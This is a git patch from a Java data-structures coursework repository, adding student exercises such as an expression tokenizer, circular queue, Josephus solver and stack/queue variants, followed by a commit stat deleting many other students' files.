--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/Token.java
@@ -0,0 +1,49 @@
+package com.ralf.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+
+	public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
+	private static final Map<String, Integer> priorities = new HashMap<String, Integer>();
+	static{
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int NUMBER = 1;
+	static final int OPERATOR = 2;
+	String value;
+	int type;
+	
+	public Token(String value, int type){
+		this.value = value;
+		this.type = type;
+	}
+	public int getValue() {
+		
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	public boolean isNumber(){
+		return type == NUMBER;
+	}
+	public boolean isOperator(){
+		return type == OPERATOR;
+	}
+	public boolean hasHigherPriority(Token token){
+		
+		if (!this.isOperator() || !token.isOperator()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(token.value) > 0;
+		
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/TokenParser.java b/group23/632678665/com/basic/week7/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..66206c9f11
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/TokenParser.java
@@ -0,0 +1,56 @@
+package com.ralf.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	public TokenParser(){
+
+	}
+	public List<Token> parse(String string) {
+		List<Token> tokens = new ArrayList<Token>();
+		int i = 0;
+		while(i < string.length()){
+			
+			char ch = string.charAt(i);
+			if (isOperator(ch)) {
+				Token token = new Token(String.valueOf(ch), Token.OPERATOR);
+				tokens.add(token);
+				i++;
+			}
+			else if (Character.isDigit(ch)) {
+				int nextIndexOfChar = nextIndexOfOperator(i,string);
+				String value = string.substring(i, nextIndexOfChar);
+				Token token = new Token(value, Token.NUMBER);
+				tokens.add(token);
+				i = nextIndexOfChar;
+			}
+			else {
+				System.out.println("char:" + ch + " is not a number or operator,ignore!");
+				i++;
+			}
+
+		}
+		
+		
+		return tokens;
+	}
+
+	private int nextIndexOfOperator(int i, String string) {
+		
+		while(Character.isDigit(string.charAt(i))){
+			i++;
+			if (i == string.length()) {
+				break;
+			}
+		}
+		return i;
+	}
+
+	private boolean isOperator(char ch) {
+		String string = String.valueOf(ch);
+		return Token.OPERATORS.contains(string);
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java b/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..3066880551
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
@@ -0,0 +1,36 @@
+package com.ralf.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		TokenParser tokenParser = new TokenParser();
+		
+		List<Token> list = tokenParser.parse("300*20+12*5-20/4");
+		Assert.assertEquals(300, list.get(0).getValue());
+		Assert.assertEquals("*", list.get(1).toString());
+		Assert.assertEquals(20, list.get(2).getValue());
+		Assert.assertEquals("+", list.get(3).toString());
+		Assert.assertEquals(12, list.get(4).getValue());
+		Assert.assertEquals("*", list.get(5).toString());
+		Assert.assertEquals(5, list.get(6).getValue());
+		Assert.assertEquals("-", list.get(7).toString());
+		Assert.assertEquals(20, list.get(8).getValue());
+		Assert.assertEquals("/", list.get(9).toString());
+		Assert.assertEquals(4, list.get(10).getValue());
+		
+	}
+
+}
diff --git a/group23/632678665/com/basic/week8/CircleQueue.java b/group23/632678665/com/basic/week8/CircleQueue.java
new file mode 100644
index 0000000000..1a6f022a4e
--- /dev/null
+++ b/group23/632678665/com/basic/week8/CircleQueue.java
@@ -0,0 +1,44 @@
+/**
+ * @author chk
+ */
+public class CircleQueue{
+
+    private int size;
+    private int first;
+    private int last;
+    Object[] queue;
+
+    public CircleQueue(int size){
+        queue = new Object[size];
+        first = 0;
+        last = 0;
+    }
+
+    public boolean isEmpty(){
+        return first == last;
+    }
+
+    public void enCircleQueue(Object o){
+        if( (last+1) % size == first){
+               System.out.println("Circle Queue is full");
+        }else {
+            queue[last] = o;
+            last = (last+1) % queue.length;
+        }
+    }
+
+    public int getSize(){
+        return (last - first + queue.length) % queue.length;
+    }
+
+    public Object deCircleQueue(){
+        if(isEmpty()){
+            return null;
+        }else{
+            Object item = queue[first];
+            first = (first+1)%queue.length;
+            return item;
+        }
+
+    }
+}
diff --git a/group23/632678665/com/basic/week8/Josephus.java b/group23/632678665/com/basic/week8/Josephus.java
new file mode 100644
index 0000000000..e3380c0ca6
--- /dev/null
+++ b/group23/632678665/com/basic/week8/Josephus.java
@@ -0,0 +1,44 @@
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * @author chk
+ *
+ */
+public class Josephus {
+
+    private static class Node {
+        int data;
+        Node next;
+
+        public Node(int i) {
+            data = i;
+        }
+    }
+
+    public static void execute(int n, int m) {
+
+        Node header = new Node(0);
+        Node pointer = header;
+        for (int i = 1; i < n; i++) {
+            pointer.next = new Node(i);
+            pointer = pointer.next;
+        }
+        pointer.next = header;
+        while (pointer != pointer.next) {
+            for (int i = 1; i <= m; i++) {
+                pointer = pointer.next;
+            }
+            System.out.println(pointer.next.data);
+            pointer.next = pointer.next.next;
+        }
+        System.out.println(pointer.next.data);
+
+    }
+    public static void main(String args[]){
+        Josephus circle = new Josephus();
+        circle.execute(8,4);
+    }
+}
diff --git a/group23/632678665/com/basic/week8/Queue.java b/group23/632678665/com/basic/week8/Queue.java
new file mode 100644
index 0000000000..ea0e0cd621
--- /dev/null
+++ b/group23/632678665/com/basic/week8/Queue.java
@@ -0,0 +1,55 @@
+import javax.xml.soap.Node;
+import java.util.NoSuchElementException;
+
+/**
+ * @author chk
+ */
+public class Queue<E> {
+
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+    private static class Node<E>{
+        private E item;
+        private Node<E> next;
+    }
+    public Queue(){
+        first = null;
+        last = null;
+        size = 0;
+    }
+    public boolean isEmpty(){
+        return first == null;
+    }
+    public int size(){
+        return size;
+    }
+    public void enQueue(E data){
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if(isEmpty()){
+            first = last;
+        }else {
+            oldlast.next = last;
+        }
+        size++;
+    }
+    public E deQueue(){
+        if(isEmpty()){
+            throw new NoSuchElementException("queue is empty");
+        }else{
+            E item = first.item;
+            first = first.next;
+            size--;
+            if(isEmpty()){
+                last = null;
+            }
+            return item;
+        }
+    }
+
+
+}
diff --git a/group23/632678665/com/basic/week8/QueueWithTwoStacks.java b/group23/632678665/com/basic/week8/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..af5d8a03df
--- /dev/null
+++ b/group23/632678665/com/basic/week8/QueueWithTwoStacks.java
@@ -0,0 +1,47 @@
+import java.util.Stack;
+
+/**
+ * @author chk
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+    public QueueWithTwoStacks(){
+        stackk = new Stack<E>();
+        stackkk = new Stack<E>();
+    }
+
+    public boolean isEmpty(){
+        return stackk.isEmpty() && stackkk.isEmpty();
+    }
+
+    public int size()
+    {
+        return stackk.size() + stack2.size();
+    }
+
+    public void enQueue(E item){
+
+        stackk.push(item);
+    }
+
+    public E deQueue(){
+        if(stackkk.isEmpty()){
+            while(!stackk.isEmpty()){
+                stackkk.push(stackk.pop());
+            }
+        }
+        return stackkk.pop();
+    }
+    public static void main(String args[]){
+        QueueWithTwoStacks queue = new QueueWithTwoStacks();
+        queue.enQueue(1);
+        queue.enQueue(5);
+        queue.enQueue(4);
+        queue.enQueue(0);
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+    }
+}
diff --git a/group23/632678665/com/basic/week9/QuickMinStack.java b/group23/632678665/com/basic/week9/QuickMinStack.java
new file mode 100644
index 0000000000..bac723e3f1
--- /dev/null
+++ b/group23/632678665/com/basic/week9/QuickMinStack.java
@@ -0,0 +1,48 @@
+
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author chk
+ *
+ */
+public class QuickMinStack extends Stack<Integer> {
+
+    Stack<Integer> sMin;
+    public QuickMinStack(){
+        sMin = new Stack<Integer>();
+    }
+    public void push(int data){
+        if(data <= findMin()){
+            sMin.push(data);
+        }
+        super.push(data);
+    }
+    public Integer pop(){
+        int value = super.pop();
+        if(value == findMin()){
+            sMin.pop();
+        }
+        return value;
+    }
+    public int findMin(){
+        if(sMin.isEmpty()){
+            return Integer.MAX_VALUE;
+        }
+        return sMin.peek();
+    }
+
+    public static void main(String args[]){
+        QuickMinStack stack = new QuickMinStack();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(0);
+        System.out.println(stack.pop().intValue());
+        System.out.println(stack.findMin());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/632678665/com/basic/week9/StackWithTwoQueues.java b/group23/632678665/com/basic/week9/StackWithTwoQueues.java
new file mode 100644
index 0000000000..7fcf9162c9
--- /dev/null
+++ b/group23/632678665/com/basic/week9/StackWithTwoQueues.java
@@ -0,0 +1,53 @@
+package com.basic.week9;
+import java.util.LinkedList;
+
+
+/**
+ * @author chk
+ */
+public class StackWithTwoQueues {
+
+    LinkedList<Integer> queue1=new LinkedList<Integer>();
+    LinkedList<Integer> queue2=new LinkedList<Integer>();
+    public void push(int data){
+        queue1.addLast(data);
+    }
+    public int pop() {
+        if (sSize() > 0) {
+            if (!queue1.isEmpty()) {
+                while (queue1.size() > 1) {
+                    queue2.addLast(queue1.removeFirst());
+                }
+                return queue1.removeFirst();
+            } else {
+                while (queue2.size() > 1) {
+                    queue1.addLast(queue2.removeFirst());
+                }
+                return queue2.removeFirst();
+            }
+        } else {
+            System.out.println("栈空,不能出栈");
+            return Integer.MAX_VALUE;
+        }
+    }
+    public int sSize(){
+        return queue1.size() + queue2.size();
+    }
+    public static void main(String[] args)
+    {
+        StackWithTwoQueues stack=new StackWithTwoQueues();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(4);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        stack.push(5);
+        stack.push(6);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/632678665/com/basic/week9/TwoStackInOneArray.java b/group23/632678665/com/basic/week9/TwoStackInOneArray.java
new file mode 100644
index 0000000000..5443e6d6e4
--- /dev/null
+++ b/group23/632678665/com/basic/week9/TwoStackInOneArray.java
@@ -0,0 +1,82 @@
+package com.basic.week9;
+import java.util.Stack;
+
+/**
+ * @author chk
+ */
+public class TwoStackInOneArray {
+
+
+
+    Object[] data = new Object[10];
+
+    private int index1 = 0;
+    private int index2 = data.length - 1;
+
+
+    private boolean isFull() {
+        if (index1 == index2) {
+            return true;
+        } else
+            return false;
+    }
+
+    private void extendCapacity() {
+
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        return null;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return null;
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        return null;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        return null;
+    }
+
+}

From 0fa3e44719c1c068f28e03dc7e1c45af042c2955 Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Mon, 8 May 2017 00:18:14 +0800
Subject: [PATCH 235/262] 6522

---
 group23/1028361767/1028361767.md              |   1 -
 .../coderising/download/DownloadThread.java   |  31 --
 .../coderising/download/FileDownloader.java   | 104 ----
 .../download/FileDownloaderTest.java          |  59 ---
 .../coderising/download/api/Connection.java   |  26 -
 .../download/api/ConnectionException.java     |   8 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  62 ---
 .../download/impl/ConnectionManagerImpl.java  |  26 -
 .../coderising/litestruts/LoginAction.java    |  39 --
 .../src/com/coderising/litestruts/Struts.java | 181 -------
 .../com/coderising/litestruts/StrutsTest.java |  43 --
 .../src/com/coderising/litestruts/View.java   |  23 -
 .../src/com/coding/basic/BinaryTreeNode.java  |  97 ----
 .../src/com/coding/basic/Iterator.java        |   8 -
 .../src/com/coding/basic/List.java            |  13 -
 .../src/com/coding/basic/Queue.java           |  24 -
 .../src/com/coding/basic/array/ArrayList.java |  83 ----
 .../src/com/coding/basic/array/ArrayUtil.java | 210 ---------
 .../coding/basic/linklist/LRUPageFrame.java   | 112 -----
 .../basic/linklist/LRUPageFrameTest.java      |  57 ---
 .../com/coding/basic/linklist/LinkedList.java | 402 ----------------
 .../com/coding/basic/queue/CircleQueue.java   |  57 ---
 .../basic/queue/EmptyQueueException.java      |  14 -
 .../basic/queue/FullQueueException.java       |  14 -
 .../src/com/coding/basic/queue/Josephus.java  |  32 --
 .../com/coding/basic/queue/JosephusTest.java  |  28 --
 .../src/com/coding/basic/queue/Queue.java     |  61 ---
 .../basic/queue/QueueWithTwoStacks.java       |  54 ---
 .../com/coding/basic/stack/QuickMinStack.java |  45 --
 .../src/com/coding/basic/stack/Stack.java     |  47 --
 .../src/com/coding/basic/stack/StackUtil.java | 111 -----
 .../basic/stack/StackWithTwoQueues.java       |  34 --
 .../basic/stack/TwoStackInOneArray.java       | 108 -----
 .../coding/basic/stack/expr/InfixExpr.java    | 159 -------
 .../basic/stack/expr/InfixExprTest.java       |  48 --
 .../basic/stack/expr/InfixToPostfix.java      |  44 --
 .../coding/basic/stack/expr/PostfixExpr.java  |  62 ---
 .../basic/stack/expr/PostfixExprTest.java     |  42 --
 .../coding/basic/stack/expr/PrefixExpr.java   |  85 ----
 .../basic/stack/expr/PrefixExprTest.java      |  45 --
 .../com/coding/basic/stack/expr/Token.java    |  50 --
 .../coding/basic/stack/expr/TokenParser.java  |  64 ---
 .../basic/stack/expr/TokenParserTest.java     |  41 --
 .../src/com/coding/me/Palindrome.java         |  82 ----
 .../me/book/algorithms/BasicBinarySearch.java |  12 -
 .../me/leetcode/algorithms/AddTwoNums.java    |  84 ----
 .../algorithms/LongestCommonPrefix.java       | 223 ---------
 ...stSubstringWithoutRepeatingCharacters.java | 229 ---------
 .../algorithms/MedianOfTwoSortedArrays.java   | 102 ----
 .../leetcode/algorithms/OptimalDivision.java  |  76 ---
 .../algorithms/StudentAttendanceRecord1.java  |  46 --
 .../coding/me/leetcode/algorithms/TwoSum.java | 102 ----
 .../test/com/coding/basic/TestArrayList.java  |  61 ---
 .../com/coding/basic/TestBinaryTreeNode.java  |  37 --
 .../test/com/coding/basic/TestLinkedList.java | 176 -------
 .../com/coding/basic/stack/TestStackUtil.java |  63 ---
 .../src/me/practise/chapter2.java             |  44 --
 .../src/practise/chapter1/HelloService.java   |  35 --
 .../practise/chapter1/HelloWorldService.java  |   9 -
 .../learn-spring/src/test/practise/Test1.java |  39 --
 .../coderising/jvm/attr/AttributeInfo.java    |  19 -
 .../src/com/coderising/jvm/attr/CodeAttr.java |  89 ----
 .../coderising/jvm/attr/LineNumberTable.java  |  51 --
 .../jvm/attr/LocalVariableItem.java           |  39 --
 .../jvm/attr/LocalVariableTable.java          |  40 --
 .../coderising/jvm/attr/StackMapTable.java    |  30 --
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 -
 .../src/com/coderising/jvm/clz/ClassFile.java | 121 -----
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 -----
 .../com/coderising/jvm/cmd/CommandParser.java | 138 ------
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 --
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 --
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ---
 .../coderising/jvm/constant/ClassInfo.java    |  28 --
 .../coderising/jvm/constant/ConstantInfo.java |  41 --
 .../coderising/jvm/constant/ConstantPool.java |  29 --
 .../coderising/jvm/constant/FieldRefInfo.java |  58 ---
 .../jvm/constant/MethodRefInfo.java           |  60 ---
 .../jvm/constant/NameAndTypeInfo.java         |  50 --
 .../jvm/constant/NullConstantInfo.java        |  17 -
 .../coderising/jvm/constant/StringInfo.java   |  31 --
 .../com/coderising/jvm/constant/UTF8Info.java |  36 --
 .../src/com/coderising/jvm/field/Field.java   |  45 --
 .../jvm/loader/ByteCodeIterator.java          |  69 ---
 .../jvm/loader/ClassFileLoader.java           |  99 ----
 .../jvm/loader/ClassFileParser.java           | 134 ------
 .../src/com/coderising/jvm/method/Method.java |  84 ----
 .../jvm/print/ClassFilePrinter.java           |  54 ---
 .../jvm/print/ConstantPoolPrinter.java        |  77 ---
 .../jvm/test/ClassFileloaderTest.java         | 353 --------------
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 --
 .../src/com/coderising/jvm/util/Util.java     |  24 -
 .../src/com/skomefen/list/ArrayList.java      |  83 ----
 .../com/skomefen/list/ArrayListIterator.java  |  25 -
 .../src/com/skomefen/list/BinaryTreeNode.java |  32 --
 .../src/com/skomefen/list/Iterator.java       |   7 -
 .../src/com/skomefen/list/LinkedList.java     | 252 ----------
 .../com/skomefen/list/LinkedListiterator.java |  25 -
 .../day3-11/src/com/skomefen/list/List.java   |   9 -
 .../day3-11/src/com/skomefen/list/Queue.java  |  26 -
 .../day3-11/src/com/skomefen/list/Stack.java  |  28 --
 .../day3-11/src/com/skomefen/test/test.java   | 109 -----
 .../src/com/coderising/array/ArrayUtil.java   | 117 -----
 .../com/coderising/litestruts/StrutsTest.java |  54 ---
 .../coderising/download/DownloadThread.java   |  65 ---
 .../coderising/download/FileDownloader.java   |  89 ----
 .../download/FileDownloaderTest.java          |  58 ---
 .../coderising/download/api/Connection.java   |  24 -
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         | 143 ------
 .../download/impl/ConnectionManagerImpl.java  |  16 -
 .../src/junit/test/ConnectionImplTest.java    |  92 ----
 .../junit/test/ConnectionManagerImplTest.java |  31 --
 .../src/junit/test/DownloadThreadTest.java    |  77 ---
 .../src/com/coding/datastructs/ArrayList.java |  98 ----
 .../src/com/coding/datastructs/Iterator.java  |   7 -
 .../com/coding/datastructs/LinkedList.java    | 229 ---------
 .../src/com/coding/datastructs/List.java      |   9 -
 .../com/coding/datastructs/MyIterator.java    |  35 --
 .../src/com/coding/datastructs/Queue.java     |  30 --
 .../src/com/coding/datastructs/Stack.java     |  33 --
 .../src/com/coding/test/ArrayListTest.java    |  32 --
 .../src/com/coding/test/LinkedListTest.java   |  28 --
 .../src/com/coding/test/QueueTest.java        |  22 -
 .../src/com/coding/test/StackTest.java        |  25 -
 .../com/coding/datastructs/ArrayUtil.java"    | 141 ------
 .../src/com/coding/test/ArrayUtilTest.java"   |  86 ----
 .../coderising/litestruts/LoginAction.java"   |  35 --
 .../com/coderising/litestruts/Struts.java"    | 122 -----
 .../coderising/litestruts/StrutsTest.java"    |  43 --
 .../src/com/coderising/litestruts/Test.java"  |  94 ----
 .../src/com/coderising/litestruts/View.java"  |  23 -
 .../01_5BasicDS/src/main/ArrayList.java       |  82 ----
 .../01_5BasicDS/src/main/BinaryTreeNode.java  |  65 ---
 .../01_5BasicDS/src/main/Iterator.java        |   6 -
 .../01_5BasicDS/src/main/LinkedList.java      | 114 -----
 .../01_5BasicDS/src/main/List.java            |   9 -
 .../01_5BasicDS/src/main/Queue.java           |  22 -
 .../01_5BasicDS/src/main/Stack.java           |  25 -
 .../01_5BasicDS/src/test/ArrayListTest.java   | 144 ------
 .../src/test/BinaryTreeNodeTest.java          |  25 -
 .../01_5BasicDS/src/test/LinkedListTest.java  | 126 -----
 .../01_5BasicDS/src/test/QueueTest.java       |  50 --
 .../01_5BasicDS/src/test/StackTest.java       |  67 ---
 .../01_5BasicDS/src/utils/ListUtils.java      |  11 -
 .../02_ArrayUtil/src/main/ArrayUtil.java      | 209 --------
 .../02_ArrayUtil/src/test/ArrayUtilTest.java  | 101 ----
 .../src/main/Iterator.java                    |   6 -
 .../src/main/LinkedList.java                  | 256 ----------
 .../src/main/List.java                        |   9 -
 .../src/test/LinkedListTest.java              | 251 ----------
 .../src/utils/ListUtils.java                  |  11 -
 .../04_LRU/src/main/LRUPageFrame.java         | 117 -----
 .../04_LRU/src/test/LRUPageFrameTest.java     |  35 --
 .../05_StackUtil/src/main/ArrayList.java      |  75 ---
 .../05_StackUtil/src/main/Iterator.java       |   6 -
 .../05_StackUtil/src/main/ListUtils.java      |  11 -
 .../05_StackUtil/src/main/Stack.java          |  25 -
 .../05_StackUtil/src/main/StackUtil.java      | 110 -----
 .../05_StackUtil/src/test/StackUtilTest.java  |  93 ----
 .../01_litestruts/src/main/LoginAction.java   |  36 --
 .../01_litestruts/src/main/Struts.java        |  71 ---
 .../01_litestruts/src/main/View.java          |  27 --
 .../01_litestruts/src/test/StrutsTest.java    |  55 ---
 .../02_downloader/src/api/Connection.java     |  23 -
 .../src/api/ConnectionException.java          |   6 -
 .../src/api/ConnectionManager.java            |  10 -
 .../src/api/DownloadListener.java             |   5 -
 .../src/impl/ConnectionImpl.java              |  54 ---
 .../src/impl/ConnectionManagerImpl.java       |  15 -
 .../src/main/DownloadThread.java              |  50 --
 .../src/main/FileDownloader.java              |  73 ---
 .../src/test/DownloaderTest.java              |  21 -
 .../src/com/xiaol/study/ArrayList.java        |  94 ----
 .../src/com/xiaol/study/ArrayListTest.java    |  82 ----
 .../src/com/xiaol/study/BinaryTreeNode.java   |  59 ---
 .../com/xiaol/study/BinaryTreeNodeTest.java   |  82 ----
 .../src/com/xiaol/study/Iterator.java         |  12 -
 .../src/com/xiaol/study/LinkedList.java       | 253 ----------
 .../src/com/xiaol/study/LinkedListTest.java   | 131 -----
 .../src/com/xiaol/study/List.java             |  13 -
 .../src/com/xiaol/study/Queue.java            |  41 --
 .../src/com/xiaol/study/QueueTest.java        |  64 ---
 .../src/com/xiaol/study/Stack.java            |  49 --
 .../src/com/xiaol/study/StackTest.java        |  68 ---
 group23/381519422/array/.classpath            |   7 -
 group23/381519422/array/.gitignore            |   1 -
 group23/381519422/array/.project              |  17 -
 .../381519422/array/src/array/ArrayUtil.java  | 354 --------------
 .../array/src/array/ArrayUtilTest.java        | 116 -----
 .../java/com/xiaol/download/DownloadDemo.java |  53 ---
 .../com/xiaol/download/DownloadThread.java    |  37 --
 .../com/xiaol/download/FileDownloader.java    | 133 ------
 .../xiaol/download/FileDownloaderTest.java    |  60 ---
 .../com/xiaol/download/api/Connection.java    |  23 -
 .../download/api/ConnectionException.java     |   5 -
 .../xiaol/download/api/ConnectionManager.java |  10 -
 .../xiaol/download/api/DownloadListener.java  |   5 -
 .../xiaol/download/impl/ConnectionImpl.java   |  60 ---
 .../download/impl/ConnectionManagerImpl.java  |  15 -
 .../java/com/xiaol/study/LoginAction.java     |  36 --
 .../src/main/java/com/xiaol/study/Struts.java | 176 -------
 .../main/java/com/xiaol/study/StrutsTest.java |  43 --
 .../src/main/java/com/xiaol/study/View.java   |  26 -
 .../litestruts/src/main/resources/struts.xml  |  24 -
 .../jvm/loader/ClassFileLoader.java           |  81 ----
 .../jvm/test/ClassFileloaderTest.java         |  92 ----
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 --
 .../563253496/week4_lru/src/LRUPageFrame.java | 135 ------
 .../week4_lru/src/LRUPageFrameTest.java       |  34 --
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 -
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 ---
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../coderising/jvm/constant/ClassInfo.java    |  24 -
 .../coderising/jvm/constant/ConstantInfo.java |  29 --
 .../coderising/jvm/constant/ConstantPool.java |  29 --
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ---
 .../jvm/constant/MethodRefInfo.java           |  55 ---
 .../jvm/constant/NameAndTypeInfo.java         |  45 --
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../coderising/jvm/constant/StringInfo.java   |  26 -
 .../com/coderising/jvm/constant/UTF8Info.java |  32 --
 .../jvm/loader/ByteCodeIterator.java          |  54 ---
 .../jvm/loader/ClassFileLoader.java           | 140 ------
 .../jvm/loader/ClassFileParser.java           | 112 -----
 .../jvm/test/ClassFileloaderTest.java         | 202 --------
 .../com/coderising/jvm/test/EmployeeV1.java   |  31 --
 .../src/com/coderising/jvm/util/Util.java     |  24 -
 .../week5_stack/src/stack/Stack.java          |  63 ---
 .../week5_stack/src/stack/StackUtil.java      | 129 -----
 .../week5_stack/src/test/StackUtilTest.java   |  95 ----
 .../coderising/jvm/attr/AttributeInfo.java    |  19 -
 .../src/com/coderising/jvm/attr/CodeAttr.java | 142 ------
 .../coderising/jvm/attr/LineNumberTable.java  |  83 ----
 .../jvm/attr/LocalVariableItem.java           |  39 --
 .../jvm/attr/LocalVariableTable.java          |  58 ---
 .../coderising/jvm/attr/StackMapTable.java    |  30 --
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 -
 .../src/com/coderising/jvm/clz/ClassFile.java | 113 -----
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 -
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  23 -
 .../coderising/jvm/cmd/ByteCodeCommand.java   | 128 -----
 .../com/coderising/jvm/cmd/CommandParser.java | 130 -----
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  22 -
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  23 -
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 -
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  22 -
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  29 --
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  19 -
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  23 -
 .../com/coderising/jvm/cmd/OneOperandCmd.java |  27 --
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  19 -
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |  67 ---
 .../coderising/jvm/constant/ClassInfo.java    |  24 -
 .../coderising/jvm/constant/ConstantInfo.java |  29 --
 .../coderising/jvm/constant/ConstantPool.java |  29 --
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ---
 .../jvm/constant/MethodRefInfo.java           |  55 ---
 .../jvm/constant/NameAndTypeInfo.java         |  45 --
 .../jvm/constant/NullConstantInfo.java        |  13 -
 .../coderising/jvm/constant/StringInfo.java   |  26 -
 .../com/coderising/jvm/constant/UTF8Info.java |  32 --
 .../src/com/coderising/jvm/field/Field.java   |  44 --
 .../jvm/loader/ByteCodeIterator.java          |  65 ---
 .../jvm/loader/ClassFileLoader.java           | 140 ------
 .../jvm/loader/ClassFileParser.java           | 170 -------
 .../src/com/coderising/jvm/method/Method.java |  66 ---
 .../jvm/test/ClassFileloaderTest.java         | 354 --------------
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 --
 .../src/com/coderising/jvm/util/Util.java     |  24 -
 .../coderising/download/DownloadThread.java   |  20 -
 .../coderising/download/FileDownloader.java   |  73 ---
 .../download/FileDownloaderTest.java          |  59 ---
 .../coderising/download/api/Connection.java   |  23 -
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  27 --
 .../download/impl/ConnectionManagerImpl.java  |  15 -
 .../coderising/litestruts/LoginAction.java    |  39 --
 .../src/com/coderising/litestruts/Struts.java |  34 --
 .../com/coderising/litestruts/StrutsTest.java |  43 --
 .../src/com/coderising/litestruts/View.java   |  23 -
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 --
 .../src/com/coding/basic/Iterator.java        |   7 -
 .../src/com/coding/basic/List.java            |   9 -
 .../src/com/coding/basic/Queue.java           |  19 -
 .../src/com/coding/basic/array/ArrayList.java |  35 --
